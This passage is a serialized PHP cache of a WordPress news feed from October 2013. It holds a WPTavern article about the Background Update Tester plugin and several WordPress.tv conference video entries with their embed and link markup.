\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:87:\&quot;WPTavern: WordPress Core Developers Release Plugin To Test Automatic Background Updates\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10506\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:124:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/u8nGxe5ugU4/wordpress-releases-plugin-to-test-automatic-background-updates\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2616:\&quot;&lt;p&gt;Over the weekend, WordPress developers Andrew Nacin and Dion Hulse released an official WordPress.org plugin that enables users to test their sites&amp;#8217; compatibility with the background updates feature, introduced in &lt;a href=\&quot;http://www.wptavern.com/wordpress-3-7-released-wordpress-now-updates-itself\&quot; title=\&quot;WordPress 3.7 Released\&quot; target=\&quot;_blank\&quot;&gt;WordPress 3.7&lt;/a&gt;. &lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://wordpress.org/plugins/background-update-tester/\&quot;&gt;Background Update Tester&lt;/a&gt; is an official plugin, released under the WordPress.org account. It was created to help users diagnose problems that prevent WordPress from updating automatically. Once installed, a new menu is available at the &lt;em&gt;Dashboard &gt;&gt; Update Tester&lt;/em&gt; screen. The plugin performs a test and displays results on this screen. &lt;span id=\&quot;more-10506\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;Here&amp;#8217;s an example of the plugin in action on a site where background updates fail:&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/fail.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/fail.jpg?resize=560%2C368\&quot; alt=\&quot;fail\&quot; class=\&quot;aligncenter size-full wp-image-10508\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;The plugin performs tests that will automatically answer the following questions for you:  &lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Can your site communicate with WordPress.org securely?&lt;/li&gt;\n&lt;li&gt;Are there any version control systems detected?&lt;/li&gt;\n&lt;li&gt;Does your site require FTP credentials to perform updates?&lt;/li&gt;\n&lt;li&gt;Are your files writable by WordPress?&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;A non-technical user would have no idea how to answer these questions without the help of this plugin. As you can see in the example above, the tests found that WordPress was not able to edit files in the wp-admin folder and listed those files. This is something that&amp;#8217;s easy enough to correct for a developer. If the user is less technically inclined, he can report the results of the test to his host to seek assistance for correcting the problem.&lt;/p&gt;\n&lt;p&gt;If you&amp;#8217;ve run into issues while trying to get background updates, this plugin is the key to finding your site&amp;#8217;s incompatibility.&lt;/p&gt;\n&lt;p&gt;Thankfully, most users won&amp;#8217;t need this plugin, as a large majority of sites don&amp;#8217;t have compatibility issues. If you&amp;#8217;re eager to jump on the automatic updates train but have so far been prevented, install the &lt;a href=\&quot;http://wordpress.org/plugins/background-update-tester/\&quot;&gt;Background Update Tester&lt;/a&gt; plugin to find out how to correct the problem.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/u8nGxe5ugU4\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 28 Oct 2013 12:01:18 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Sarah Gooding\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:43;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:64:\&quot;WordPress.tv: Christine Rondeau: Put Some Shine In Your Back-End\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24363\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:81:\&quot;http://wordpress.tv/2013/10/28/christine-rondeau-put-some-shine-in-your-back-end/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:683:\&quot;&lt;div id=\&quot;v-iSeY4krC-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24363/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24363/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24363&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/10/28/christine-rondeau-put-some-shine-in-your-back-end/\&quot;&gt;&lt;img alt=\&quot;Christine Rondeau: Put Some Shine In Your Back-End\&quot; src=\&quot;http://videos.videopress.com/iSeY4krC/video-7ce052cba4_scruberthumbnail_0.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 28 Oct 2013 08:56:38 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:44;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:77:\&quot;WordPress.tv: Suzette Franck: Resources For Reaching Your WordPress Potential\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24222\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:94:\&quot;http://wordpress.tv/2013/10/28/suzette-franck-resources-for-reaching-your-wordpress-potential/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:709:\&quot;&lt;div id=\&quot;v-i3QnA151-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24222/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24222/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24222&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/10/28/suzette-franck-resources-for-reaching-your-wordpress-potential/\&quot;&gt;&lt;img alt=\&quot;Suzette Franck: Resources For Reaching Your WordPress Potential\&quot; src=\&quot;http://videos.videopress.com/i3QnA151/video-346b07a995_scruberthumbnail_0.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 28 Oct 2013 07:36:06 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:45;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:71:\&quot;WordPress.tv: Chip Bennett: Custom Layouts Without Using Page Templates\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24325\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:88:\&quot;http://wordpress.tv/2013/10/26/chip-bennett-custom-layouts-without-using-page-templates/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:691:\&quot;&lt;div id=\&quot;v-NCvMW6P6-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24325/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24325/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24325&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/10/26/chip-bennett-custom-layouts-without-using-page-templates/\&quot;&gt;&lt;img alt=\&quot;Chip Bennett: Custom Layouts Without Using Page Templates\&quot; src=\&quot;http://videos.videopress.com/NCvMW6P6/video-8245fc0da5_std.original.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 26 Oct 2013 17:51:14 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:46;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:61:\&quot;WordPress.tv: Chris Wilcoxson: How to Build Your First Widget\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24323\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:78:\&quot;http://wordpress.tv/2013/10/26/chris-wilcoxson-how-to-build-your-first-widget/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:671:\&quot;&lt;div id=\&quot;v-j8quHyVd-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24323/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24323/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24323&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/10/26/chris-wilcoxson-how-to-build-your-first-widget/\&quot;&gt;&lt;img alt=\&quot;Chris Wilcoxson: How to Build Your First Widget\&quot; src=\&quot;http://videos.videopress.com/j8quHyVd/video-82bf8ff850_std.original.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 26 Oct 2013 17:50:16 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:47;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:53:\&quot;WordPress.tv: Dougal Campbell: Secure All The Things!\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=18726\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:69:\&quot;http://wordpress.tv/2013/10/26/dougal-campbell-secure-all-the-things/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:654:\&quot;&lt;div id=\&quot;v-ivKKw66I-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/18726/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/18726/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=18726&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/10/26/dougal-campbell-secure-all-the-things/\&quot;&gt;&lt;img alt=\&quot;Dougal Campbell: Secure All The Things!\&quot; src=\&quot;http://videos.videopress.com/ivKKw66I/video-701721a870_std.original.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 26 Oct 2013 16:00:14 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:48;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:61:\&quot;WordPress.tv: Coen Jacobs and Scott Basgaard: WooCommerce 2.0\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24109\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:78:\&quot;http://wordpress.tv/2013/10/25/coen-jacobs-and-scott-basgaard-woocommerce-2-0/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:677:\&quot;&lt;div id=\&quot;v-ULdNP325-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24109/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24109/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24109&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/10/25/coen-jacobs-and-scott-basgaard-woocommerce-2-0/\&quot;&gt;&lt;img alt=\&quot;Coen Jacobs and Scott Basgaard: WooCommerce 2.0\&quot; src=\&quot;http://videos.videopress.com/ULdNP325/video-0d3591da00_scruberthumbnail_0.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sat, 26 Oct 2013 04:16:29 